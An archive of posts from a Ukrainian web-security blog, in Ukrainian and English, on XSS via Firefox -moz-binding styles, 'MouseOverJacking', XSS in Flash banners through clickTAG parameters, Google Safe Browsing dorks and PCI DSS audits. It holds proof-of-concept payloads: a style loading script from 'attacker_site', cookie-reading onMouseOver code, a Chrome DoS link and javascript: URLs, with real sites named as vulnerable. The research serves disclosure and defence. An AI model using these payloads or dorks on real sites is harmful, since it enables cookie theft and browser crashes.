Архів для категорії 'Статті'

XSS атаки в Mozilla Firefox через стилі

21:34 07.01.2010

При наявності XSS уразливості на сайті, у випадку коли немає можливості використовувати кутові дужки (або при забороні необхідних html-тегів), можна провести атаку через стилі - через властивість style в html-об’єтах. ЇЇ можна використати в різних html-тегах: <a>, <p> та інших.

Дані атаки можуть проводитися як через reflected XSS, так і через persistent XSS уразливості. Зокрема в браузерах Mozilla і Firefox (та інших браузерах на движку Gecko), XSS атаки через стилі можуть проводитися за допомогою властивості -moz-binding.

Для XSS атаки на сайті http://site потрібно вказати в -moz-binding лінку на xml-файл з JS-кодом, який може знаходитися на будь-якому сайті (наприклад, http://attacker_site).

<p style="-moz-binding:url('http://attacker_site/xss.xml#xss')">XSS</p>

Приклад xml-файла для демонстрації XSS атаки:

<?xml version="1.0"?>
<bindings xmlns="http://www.mozilla.org/xbl"
xmlns:html="http://www.w3.org/1999/xhtml">
<binding id="xss">
<implementation>
<constructor>
alert(document.cookie);
</constructor>
</implementation>
</binding>
</bindings>

Приклад подібної атаки з використанням -moz-binding я наводив на fileshare.in.ua.

Дані атаки працювали в браузерах Mozilla та Firefox до Firefox 3. Післі виходу 17.06.2008 Firefox 3 дані атаки перестали в ньому працювати, бо в Firefox 3 даний вектор XSS атаки був виправлений. Але виправлений лише частково і дане виправлення можна обійти і провести XSS атаку.

Для XSS атаки в Firefox 3 на сайті http://site потрібно розмістити xml-файл на даному сайті і вказати в -moz-binding лінку на xml-файл з JS-кодом. Шлях до xml-файла може бути абсолютним, або відносним.

<p style="-moz-binding:url('http://site/xss.xml#xss')">XSS</p>

Так що в версіях Firefox 3 і вище даний вектор XSS атаки все ще працює (при використанні xml-файла на тому самому сайті, де і XSS уразливість). І при наявності на сайті аплоадера для завантаження xml-файла, дану XSS атаку легко можно провести.

Для тих, кому потрібна автоматизована XSS атака (через inline-стилі), без використання -moz-binding, то для цього можна використати іншу техніку атаки (про яку я вже писав). Що буде працювати як на сайтах з аплоадерами, так і на всіх інших сайтах, як в Firefox 2 і попередніх версіях, так і в Firefox 3 і вище, а також в усіх інших браузерах.

MouseOverJacking attacks

20:06 29.12.2009

This is English version of my MouseOverJacking attacks article.

Last year I made an announcement of MouseOverJacking - at 12.12.2008 in WASC Mailing List, and at 17.12.2008 at my site. But only now I found time to write an article about it.

MouseOverJacking - it’s a new kind of attacks on web browsers, developed by me in September 2008. These attacks can be used for using of different vulnerabilities in browsers or web sites, where pointing of mouse cursor at an object is needed. And so with help of MouseOverJacking technique it’s possible to intercept cursor’s move and to conduct an attack.

In article Clickjacking Details RSnake wrote about this attack vector. But I first gave example of this attack vector a month before (yet before first announcement of Clickjacking). Besides, he described very briefly this attack vector, which required separate article, which I did in my article.

The idea of MouseOverJacking attacks.

Main idea of this attack, on which I accented already in my announcement, that for conducting of this attack it’s needed only single move of mouse cursor. Only moving of cursor at one pixel in any direction (only one small move) - and it’ll trigger an attack.

If in ClickJacking a victim must to do a click, then in MouseOverJacking no click is required, only moving of cursor ;-) . So users of Internet must be careful not just with clicks, but even with moves of cursor.

The difference between common attack with using of onMouseOver event and MouseOverJacking attack in that, that in common attack it’s needed that a victim moves his cursor over required object (at a page), so the attack pass successfully. And in MouseOverJacking attack this process is going automatically, because a victim only needs to make single move at one pixel (which will happened right away at visiting of a page). So MouseOverJacking is designed for automation of attacks with using of onMouseOver event (in IE also onMouseEnter can be used), to increase their effectiveness.

Possibilities of using of MouseOverJacking.

There are possible the next attacks via MouseOverJacking:

1. XSS attacks with using of onMouseOver event.
2. DoS attacks on browsers.
3. Other attacks at pointing of cursor.

For conduction of MouseOverJacking attacks it’s needed to ensnare victim at the page with code of exploit (which can be made with using of CSS or JavaScript).

XSS attacks with using of onMouseOver event.

It’s possible to intercept onMouseOver events in Cross-Site Scripting vulnerabilities, when other vectors of XSS attacks are impossible at the site. For example, in case of filtration at the server or using of WAF.

For this in some cases it’s possible to use CSS. Or for this it’s possible to use invisible iframe, which is placed under user’s cursor (similarly to method of ClickJacking attacks). For this attack it’s needed to use JavaScript.

DoS attacks on browsers.

It’s possible to conduct DoS attacks on browsers, as I showed it on example of DoS vulnerability in Google Chrome in September 2008 during of conducting of Day of bugs in Google Chrome project. I called this attack DoS via MouseOver.

Attack is possible at presence of appropriate DoS vulnerability in browser. For this attack it’s possible to use either JavaScript, or CSS, as in case of my exploit for Chrome.

Other attacks at pointing of cursor.

There are also possible other attacks, where it’s possible to use MouseOverJacking. E.g., CSRF attacks, if some event takes place at pointing of mouse cursor at some object at the site.

Examples of MouseOverJacking attacks.

I already mentioned example of DoS attack via MouseOverJacking (on Chrome) with exploit which uses CSS. Here is main part of a code of exploit:

<a style="width:100%;height:100%;display:block" href="dos:%"></a>

In case of presence of persistent XSS vulnerability or uploader at the site (where other vectors of attack are impossible, except via events of html objects), it’s possible to place the next code:

<a href="#" style="width:100%;height:100%;display:block;position:absolute;top:0px;left:0px" onMouseOver="alert(document.cookie)">&nbsp;</a>

Recently I wrote about XSS vulnerability in Invision Power Board found by Xacker. In his advisory he gave an example of XSS attack with using of onMouseOver for bypassing filters in IPB 3.0.4. In this case it’s just XSS attack via onMouseOver (which I refer to Strictly social XSS), when it’s needed to wait until admin will point cursor at a text, to execute a code. But if to use my MouseOverJacking technique, then effectiveness of the attack will rise, because a code will execute right away when user will visit a page.

Nice example of XSS attacks with using of onMouseOver is Cross-Site Scripting vulnerability in WordPress 2.8.1. The most interesting is that, that onMouseOver event is using for conducting of click (the idea itself is very interesting offered by superfreakaz0rz).

In given exploit for this vulnerability it’s needed to send request at the site and wait until admin will fall into a trap (i.e. it’s common XSS attack via onMouseOver). To speed up this process it’s possible to use MouseOverJacking attack (with invisible iframe or via CSS). And taking into account that after pointing of cursor a click will trigger, then this attack can be refer to kind of joint MouseOverJacking + ClickJacking attacks.

Protection from MouseOverJacking.

If JavaScript is using for MouseOverJacking attack, then for protection against these attacks it’s possible to turn off JavaScript in browser. Either manually in browser, or with help of proper plugins for browser.

If JavaScript isn’t using for MouseOverJacking attack, but CSS is using, then above-mentioned method will not help. But if MouseOverJacking is required for conducting of XSS attacks, then turning off JS will protect against XSS attacks (even if MouseOverJacking is realized via CSS). But it’ll not help against DoS attacks via MouseOverJacking.

In case of DoS attacks or any other attacks via MouseOverJacking with using of CSS, caution of user will help (it’s needed to visit reliable resources) and updating of browser to last version.

Інтерв’ю зі мною на Data Security Podcast

18:14 28.12.2009

Вчора на Data Security Podcast був оприлюднений подкаст, в якому зокрема розміщене ексклюзивне інтерв’ю зі мною. Інтерв’ю було присвячене моєму останньому дослідженню XSS уразливостей в 8 мільйонах флеш файлах.

Так, що всі бажаючі можуть скачати собі та послухати даний подскаст ;-) .

Data Security Podcast Episode 87

В даному подкасті розповідається:

  • Про нову уразливість в веб серверах.
  • Експлюзивне інтерв’ю зі мною на тему уразливостей в мільйонах flash файлах.
  • Останні секюріті новини за минулий тиждень.

MouseOverJacking атаки

22:44 26.12.2009

В минулому році я зробив анонс MouseOverJacking - 12.12.2008 в WASC Mailing List, а 17.12.2008 в себе на сайті. Але тільки зараз знайшов час написати статтю про це.

MouseOverJacking - це новий вид атак на веб браузери, розроблений мною у вересні 2008. Дані атаки можуть застосовуватися для використання різних уразливостей в браузерах чи веб сайтах, там де потрібне наведення курсором миші на об’єкт. І відповідно за допомогою техніки MouseOverJacking можна перехопити рух курсору і провести атаку.

В статті Clickjacking Details RSnake написав про даний вектор атак. Але я вперше навів приклад даного вектора атак на місяць раніше (ще до першого анонса Clickjacking). До того ж, він дуже коротко описав даний вектор атак, який потребує окремої статті, що я і зробив в своїй статті.

Ідея MouseOverJacking атак.

Головна ідея даної атаки, на яку я наголошував ще в своєму анонсі, що для проведення даної атаки потрібен тільки один рух курсором миші. Лише переміщення курсору на один піксел в будь-яку сторону (лише один маленьких рух) - і це запустить атаку.

Якщо в ClickJacking жертва повинна зробити клік, то в MouseOverJacking жоден клік не потрібен, тільки переміщення курсору ;-) . Тобто користувачі Інтернет повинні бути обережними не тільки з кліками, а навіть з рухами курсору.

Різниця між звичайною атакою з використанням події onMouseOver та MouseOverJacking атакою в тому, що в звичайній атаці потрібно щоб жертва провела свій курсор над необхідним об’єктом (на сторінці) для того, щоб атака пройшла успішно. А в MouseOverJacking атаці цей процес відбувається автоматично, бо жертві потрібно лише зробити один рух на один піксел (що відбудеться одразу при заході на сторінку). Тобто MouseOverJacking призначений для автоматизації атак з використанням події onMouseOver (в IE також можна використати onMouseEnter), щоб збільшити їх ефективність.

Можливості використання MouseOverJacking.

Можливі наступні атаки через MouseOverJacking:

1. XSS атаки з використанням події onMouseOver.
2. DoS атаки на браузери.
3. Інші атаки при наведенні курсору.

Для проведення MouseOverJacking атаки потрібно заманити жертву на сторінку з кодом експлоіта (який може бути зроблений з використанням CSS чи JavaScript).

XSS атаки з використанням події onMouseOver.

Можна перехоплювати події onMouseOver в Cross-Site Scripting уразливостях, коли на сайті неможливі інші вектори XSS атак. Наприклад, у випадку фільтрації на сервері чи використанні WAF.

Для цього в деяких випадках можна використати CSS. Або для цього можна використати невидимий iframe, розміщений під курсором користувача (подібно до методики ClickJacking атак). Для даної атаки потрібно використати JavaScript.

DoS атаки на браузери.

Можна проводити DoS атаки на браузери, як я це продемонстрував на прикладі DoS уразливості в Google Chrome у вересні 2008 року під час проведення проекту День багів в Google Chrome. Дану атаку я назвав DoS при MouseOver.

Атака можлива при наявності відповідної DoS уразливості в браузері. Для даної атаки можна використати або JavaScript, або CSS, як у випадку мого експлоіта для Chrome.

Інші атаки при наведенні курсору.

Також можливі й інші атаки, де можна використати MouseOverJacking. Наприклад, CSRF атаки, якщо на сайті якась подія відбувається при наведенні курсору миші на деякий об’єкт.

Приклади MouseOverJacking атак.

Я вже наводив приклад DoS атаки через MouseOverJacking (на Chrome) з експлоітом, що використовує CSS. Ось основна частина коду експлоіта:

<a style="width:100%;height:100%;display:block" href="dos:%"></a>

У випадку наявності на сайті persistent XSS уразливості чи аплоадера (де неможливі інші вектори атак, окрім як через події html об’єктів), можна розмістити наступний код:

<a href="#" style="width:100%;height:100%;display:block;position:absolute;top:0px;left:0px" onMouseOver="alert(document.cookie)">&nbsp;</a>

Нещодавно я писав про XSS уразливість в Invision Power Board знайдену Xacker. В своєму advisory він навів приклад XSS атаки з використанням onMouseOver для обходу фільтрів в IPB 3.0.4. В даному випадку це просто XSS атака через onMouseOver (яку я відношу до Strictly social XSS), коли потрібно дочекатися поки адмін наведе курсор на текст, щоб виконався код. Але якщо використати мою техніку MouseOverJacking, то ефективність атаки зросте, бо код виконається одразу як користувач зайде на сторінку.

Гарним прикладом XSS атак з використанням onMouseOver є Cross-Site Scripting уразливість в WordPress 2.8.1. Найбільш цікаве те, що подія onMouseOver використовується для проведення кліка (сама ідея запропонована superfreakaz0rz дуже цікава).

В наведеному експлоіті для даної уразливості потрібно послати запит на сайт і чекати поки адмін потрапить у пастку (тобто це проста XSS атака через onMouseOver). Щоб пришвидшити цей процес можна використати MouseOverJacking атаку (з невидимим iframe чи через CSS). І враховуючи те, що після наведення курсору спрацьовує клік, то дану атаку можна віднести до типу комбінованих MouseOverJacking + ClickJacking атак.

Захист від MouseOverJacking.

Якщо для MouseOverJacking атаки використовується JavaScript, то для захисту від даних атак можна відключити JavaScript в браузері. Або вручну в браузері, або за допомогою відповідних плагінів до браузера.

Якщо ж для MouseOverJacking атаки не використовується JavaScript, а використовується CSS, то вищенаведений метод не допоможе. Але якщо MouseOverJacking потрібен для проведення XSS атаки, то відключення JS захистить від XSS атаки (навіть якщо MouseOverJacking реалізований через CSS). Але це не допоможе проти DoS атак через MouseOverJacking.

У випадку DoS атак та будь-яких інших атак через MouseOverJacking, при використанні CSS, допоможе обачність користувача (потрібно відвідувати надійні ресурси) та оновлення браузера до останньої версії.

Найкращі 10 веб хаків (2008)

22:42 25.12.2009

В своїй презентації Top Ten Web Hacking Techniques (2008), Jeremiah Grossman розповідає про найкращі 10 веб хаків 2008 року. Раніше я вже писав про Найкращі веб хаки 2008 року і в своїй презентації Джеремія детально розповідає про десятку найкращих веб хаків.

XSS vulnerabilities in 8 millions flash files

22:49 21.12.2009

This is English version of my XSS vulnerabilities in 8 millions flash files article.

I’ll continue a topic, which I started in 2008 in my article XSS vulnerabilities in 215000 flash files. That time I found hundreds of thousands flash files vulnerable to Cross-Site Scripting attacks. After previous article, published at 12.11.2008, I continued researches and found, that much more flash files - millions flash files - were vulnerable to XSS attacks. As flash files in different global and local banner systems, as flash files at individual sites.

Vulnerable ActionScript code.

As I already wrote in previous article, vulnerability is in the next AS code. As with setting second parameter in function getURL (target), as without it.

getURL(_root.clickTAG, "_blank");

But, as my researches showed, in different flash files (at different sites and banner systems) different parameters are using for passing of a site’s address to flash file. Besides clickTAG there are also using url and other parameters.

getURL(_root.url, "_blank");

Attack occurs via passing of XSS code to flash file in clickTAG, url or other parameter:

http://site/flash.swf?clickTAG=javascript:alert('XSS')

http://site/flash.swf?url=javascript:alert('XSS')

There are also flash files which are using two parameters, particularly clickTAG and TargetAS, with the next AS code:

getURL(_root.clickTAG, _root.TargetAS);

Attack occurs with using of parameters clickTAG and TargetAS:

http://site/flash.swf?clickTAG=javascript:alert('XSS')&TargetAS=

After click on flash the transfer of string to function getURL occurs, which passed to flash via appropriate parameter. Thus can be executed JavaScript code, which was passed to flash. So it’s strictly social XSS.

Prevalence of the problem.

Vulnerability exists in ActionScript code for counting of clicks in flash banners. And taking into account that such code is using for many years in different banner systems of Internet (including widespread instructions for developing of flash banners with using of vulnerable AS code), so the problem is widespread enough. For example, I registered at banner.kiev.ua already in 2000, and, as far as I remember, already at that time they had recommendations at the site with using of vulnerable AS code.

So problem is concerned with faulty recommendations for developing of flash banners with possibility of counting of clicks. And it’s concerned millions flash banners in the Net.

Such vulnerabilities exist in many banner system, as global, as local ones. Particularly these vulnerabilities I found in systems phpAdsNew, OpenAds and OpenX (at many sites on these engines), and also in banner system www.banner.kiev.ua and in other banner systems of Uanet an Runet.

There are a lot of potentially vulnerable flash files in Internet (according to Google):

filetype:swf inurl:clickTAG

About 3960000 results. At 12.11.2008 there were about 215000. Growth in 18,42 times for this time.

filetype:swf inurl:url

About 4050000 results. At 12.11.2008 there were about 996000. Growth in 4,07 times for this time.

In total it’s about 8010000 (more than 8 millions) flash files which are potentially vulnerable to XSS attacks. Not all of these flashes are vulnerable, but many of them. And these are only those flash files, which were indexed by Google, and actually there can be much more of them.

Among them there are about 12400 + 275 gov-sites - the sites of state institutions of different countries.

Note, that some of these flashes are using method #1 for protection against XSS, which is mentioned bellow. But it’s small percent of flashes - mostly they are using vulnerable AS code.

Besides, similar Strictly social XSS vulnerability I found at 15.03.2009 in plugin WP-Cumulus for WordPress (in file tagcloud.swf).

filetype:swf inurl:tagcloud.swf

About 34000000 results. I.e. another 34 millions flashes which are potentially vulnerable to XSS attacks :-) . Add 34 millions to 8 millions and result 42 millions of vulnerable flash files!

Nuances of work in different browsers.

In flashes with set target = “_blank” it’s not possible to get to cookies in Internet Explorer (particularly IE6), Mozilla and Google Chrome. But it’s possible to get to cookies in Firefox 3, Opera 9.52 and possibly in other browsers.

Also in case of set target = “_blank”, JS-code doesn’t work in browsers IE6 and Google Chrome.

If target is unspecified, or if target set to other than “_blank” (including via parameter TargetAS, if it’s using in flash), JS-code works in all browsers. And it’s possible to get to cookies in all browsers.

Examples of vulnerable flash files.

Among sites with flashes vulnerable to XSS there is server.cpmstar.com (attack via parameter clickTAG):

Among gov-sites as an example of flash at www.fatherhood.gov (attack via parameter clickTag):

Example of vulnerable flash at www.banner.kiev.ua (attack via parameter url):

Example of vulnerable flash at www.wie-man-sieht.net, which allows to get to cookies in all browsers (attack via parameter url):

Example of vulnerable flash at www.adspeed.com, which allows to get to cookies in all browsers (attack via parameters clickTAG and TargetAS):

Protection of flash files against XSS attacks.

To prevent such XSS attacks via flash files it’s needed to not use vulnerable AS code and it’s needed to use one of the next methods.

1. Instead of vulnerable AS code it’s possible to use more secure code. E.g. code which is mentioned at Adobe’s site - Designer’s Guide: Building Macromedia Flash Banners with Tracking Capabilities.

on (release) {
if (clickTAG.substr(0,5) == "http:") {
getURL(clickTAG);
}
}

It’s code on button. If using of code on frame, then for button “button” code will be the next:

_root.button.onRelease = function () {
if (clickTAG.substr(0,5) == "http:") {
getURL(clickTAG);
}
}

But this method isn’t protecting against URL spoofing, which allows to conduct of redirection attacks to arbitrary (including malicious) sites. So it’s better to use more secure AS code.

2. To use direct URL in flash (http://site), without using of parameter clickTAG.

3. If needed to count clicks, then it’s possible to use URL to banner system (http://banner/click?id=1), which will redirect to necessary site.

For example, in my system MustLive Banner System directly in the interface I’m recommending to use for flash banners above-mentioned methods #2 and #3, so there is no this problem with XSS via flash files in it. So attend to your flash files and don’t allow such vulnerabilities in them.

Використання Safe Browsing від Google

22:42 19.12.2009

Після написання новини про те, що понад 100000 сайтів заражені шкідливими iframe, я провів дослідження і знайшов цікавий сервіс Safe Browsing від Google (який є частиною вбудованої в пошуковець антивірусної системи). Даний сервіс дозволяє дізнатися інформацію про будь-який сайт просканований Гуглом, чи він є інфікованим і чи він був інфікованим на протязі останніх 90 днів.

Google є один з небагатьох пошуковців, що вже багато років проводить власні дослідження зараженності веб сайтів, про що періодично публікує звіти, чи заяви стосовно найбільш гучних випадків, як у вищезгаданій новині. А також повідомляє користувачів власної пошукової системи про небезпечність інфікованих сайтів у результатах пошуку. І сервіс Safe Browsing дозволяє отримати доступ до даних Гугла стосовно зараженності сайтів в Інтернеті.

Щоб скористатися сервісом Safe Browsing, потрібно зайти на сторінку діагностики сайта (в URL потрібно вказати домен сайта, інформацію по якому ви хочете отримати):

http://google.com/safebrowsing/diagnostic?site=site.com

І ознайомившись з цим сервісом я розробив метод, за допомогою якого я зможу використовувати Safe Browsing для пошуку інфікованих сайтів (окрім безпосереднього пошуку в Гуглі та знаходженні повідомлень про зараженність сайтів).

Щоб виявити кількість сайтів занесених Гуглом в базу інфікованих, потрібно використати наступні запити:

site:google.com/safebrowsing/

Всього в індексі Гугла до 1570000 сайтів занесених в базу Safe Browsing. Раз вони туди були занесені, значить вони або зараз інфіковані, або були інфіковані раніше.

site:google.com/safebrowsing/ ua

В Уанеті за даними Гугла до 8970 сайтів занесених в базу Safe Browsing.

Скільки сайтів інфіковано за даними Гугла:

site:google.com/safebrowsing/ “suspicious activity”

Всього до 29900 сайтів. З них до 817 gov-сайтів.

Скільки сайтів інфіковано в Уанеті за даними Гугла:

site:google.com/safebrowsing/ ua “suspicious activity”

Всього до 555 сайтів. З них до 84 державних сайтів.

XSS уразливості в 8 мільйонах флеш файлах

22:40 18.12.2009

Продовжу тему, яку я підняв в 2008 році в своїй статті XSS уразливості в 215000 флеш файлах. Тоді я виявив сотні тисяч флешек уразливих до Cross-Site Scripting атак. Після попередньої статті, опублікованої 12.11.2008, я продовжив дослідження і виявив, що набагато більше флешек - мільйони флеш файлів - вразливі до XSS атак. Як флешек у різних глобальних і локальних банерних системах, так і флешек на окремих сайтах.

Уразливий ActionScript код.

Як я вже зазначав в попередній статті, уразливість в наступному AS коді. Причому як з вказанням другого параметра в фунції getURL (target), так і без нього:

getURL(_root.clickTAG, "_blank");

Але, як показали мої дослідження, в різніх флешках (на різних сайтах та банерних системах) використовується різні параметри для передачі адреси сайта у флешку. Окрім clickTAG також використовуються url та інші параметри.

getURL(_root.url, "_blank");

Атака відбувається через передачу XSS коду flash файлу в clickTAG, url чи іншому параметрі:

http://site/flash.swf?clickTAG=javascript:alert('XSS')

http://site/flash.swf?url=javascript:alert('XSS')

Також існують флешки, що використовують два параметри, зокрема clickTAG і TargetAS, з наступним AS кодом:

getURL(_root.clickTAG, _root.TargetAS);

Атака відбувається з використанням параметрів clickTAG і TargetAS:

http://site/flash.swf?clickTAG=javascript:alert('XSS')&TargetAS=

При кліку на флешку відбувається передача функції getURL рядку, що переданий флешці через відповідний параметр. Таким чином може виконатися JavaScript код, що був переданий флешці. Тобто це strictly social XSS.

Поширенність проблеми.

Уразливість наявна в ActionScript коді для підрахунку кліків у флеш банерах. І враховуючи, що подібний код використовується вже багато років в різних банерних системах Інтернету (в тому числі поширені інструкції по розробці флеш банерів з використанням вразливого AS коду), то проблема достатньо поширена. Наприклад, на banner.kiev.ua я зареєструвався ще в 2000 році, і, наскільки я пам’ятаю, вже тоді в них на сайті були дані рекомендації з використанням вразливого AS коду.

Тобто проблема пов’язана з неякісними рекомендаціями по розробці флеш банерів з можливістю підрахунку кліків. І вона стосується мільйонів флеш банерів у Мережі.

Подібні уразливості наявні в багатьох банерних системах, як глобальних, так і локальних. Зокрема дані уразливості я виявив в системах phpAdsNew, OpenAds та OpenX (на багатьох сайтах на даних движках), а також в банерній системі www.banner.kiev.ua та в інших банерних системах Уанета і Рунета.

Потенційно взразливих флешек в Інтернеті дуже багато (за даними Google):

filetype:swf inurl:clickTAG

Результатів приблизно 3960000. 12.11.2008 їх було приблизно 215000. Зростання в 18,42 рази за цей час.

filetype:swf inurl:url

Результатів приблизно 4050000. 12.11.2008 їх було приблизно 996000. Зростання в 4,07 рази за цей час.

В сумі виходить, що приблизно 8010000 (понад 8 мільйонів) флешек потенційно вразливі до XSS атак. Не всі з цих флешек вразливі, але чимало з них. І це лише флеш файли проіндексовані Гуглом, а реально їх може бути набагато більше.

Середи них приблизно 12400 + 275 gov-сайтів - сайтів державних установ різних країн.

Зазначу, що деякі з цих флешек використовують методику №1 для захисту від XSS, що наведена нижче. Але це невеликий відсоток флешек - в основному вони використовують вразливий AS код.

До речі, подібну Strictly social XSS уразливість я виявив 15.03.2009 в плагіні WP-Cumulus для WordPress (в файлі tagcloud.swf).

filetype:swf inurl:tagcloud.swf

Результатів приблизно 34000000. Тобто ще 34 мільйони флешек потенційно вразливих до XSS атак :-) . Додайте 34 млн. до 8 млн. і вийде 42 мільйони вразливих флешек!

Особливості роботи в різних браузерах.

При вказаному у флешці target = “_blank” до кукісів не можна дістатися в Internet Explorer (зокрема IE6), Mozilla та Google Chrome. Зате можна дістатися до кукісів в Firefox 3, Opera 9.52 і можливо в інших браузерах.

Також у випадку, якщо вказаний target = “_blank”, JS-код не спрацьовує у браузерах IE6 та Google Chrome.

При невказаному target, або при вказаному target іншому ніж “_blank” (в тому числі через параметр TargetAS, при його використанні у флешці), JS-код спрацьовує в усіх браузерах. І в усіх браузерах можна дістатися до кукісів.

Приклади уразливих флешек.

Серед сайтів з уразливими до XSS флешками є server.cpmstar.com (атака через параметр clickTAG):

Серед gov-сайтів приведу приклад флешки на www.fatherhood.gov (атака через параметр clickTag):

Приклад уразливої флешки на www.banner.kiev.ua (атака через параметр url):

Приклад уразливої флешки на www.wie-man-sieht.net, що дозволяє дістатися до кукісів в усіх браузерах (атака через параметр url):

Приклад уразливої флешки на www.adspeed.com, що дозволяє дістатися до кукісів в усіх браузерах (атака через параметри clickTAG і TargetAS):

Захист флешек від XSS атак.

Щоб не допустити даних XSS атак через флешки потрібно не використовувати вразливий AS код і потрібно використати один з наступних методів.

1. Замість вразливого AS коду можна використати більш надійний код. Наприклад код, що наводиться на сайті Adobe - Designer’s Guide: Building Macromedia Flash Banners with Tracking Capabilities.

on (release) {
if (clickTAG.substr(0,5) == "http:") {
getURL(clickTAG);
}
}

Це код на кнопку. При використанні кода на кадр, то для кнопки button код буде наступним:

_root.button.onRelease = function () {
if (clickTAG.substr(0,5) == "http:") {
getURL(clickTAG);
}
}

Але цей метод не захищає від підміни URL, що дозволить провести атаки редирекції на довільні (в тому числі зловмисні) сайти. Тому краще використати більш надійний AS код.

2. Використати прямий URL у флешці (http://site), без використання параметру clickTAG.

3. Якщо потрібно підраховувати кліки, то можна використати URL на банерну систему (http://banner/click?id=1), що редиректне на потрібний сайт.

Наприклад, в своїй системі MustLive Banner System безпосередьно в інтерфейсі я рекомендую використовувати для флеш банерів вищеназвані методи №2 і №3, тому й даної проблеми з XSS через флеш файли в ній немає. Так що слідкуйте за своїми флешками і не допускайте в них подібних уразливостей.

Створення ActiveX експоіта в Metasploit

20:02 15.12.2009

Продовжуючи розпочату традицію, після попереднього відео про створення експоіта в Metasploit, пропоную новий відео секюріті мануал. Цього разу відео про створення ActiveX експоіта в Metasploit. Рекомендую подивитися всім хто цікавиться цією темою.

milw0rm exploit 2 metasploit (activex)

В даному відео ролику демонструється використання Metasploit Framework для створення експлоіта для вразливого ActiveX-компонента (використовуючи дані з іншого експлоіта). Зокрема, як і в попередньому відео, демонструється процес використання MSF-eXploit Builder, що є складовою Metasploit Framework. Рекомендую подивитися дане відео для розуміння інструментарія середовища MSF.

Аудит по стандарту PCI DSS

22:40 12.12.2009

В статті Правила пентеста - аудит по стандарту PCI DSS розповідається про методології пентестингу і про стандарт PCI DSS. А також про методику проведення аудиту безпеки по стандарту PCI DSS (Payment Card Industry Data Security Standard).

В статті наводяться наступні аспекти PCI DSS аудиту:

  • Визначення границь дослідження, що проводиться.
  • Network-layer penetration tests.
  • Application-layer penetration tests.
  • Вибір цілей для проникнення:
    • Експлуатація уразливостей у мережевих сервісах.
    • Аналіз розмежування доступу.
    • Атака типу брутфорс.
  • Аналіз захищеності web-додатків.
  • Аналіз захищеності СУБД.

Проведення аудиту безпеки по стандарту PCI DSS необхідно для тих сайтів банків та e-commerce сервісів, що працюють з кредитними картами.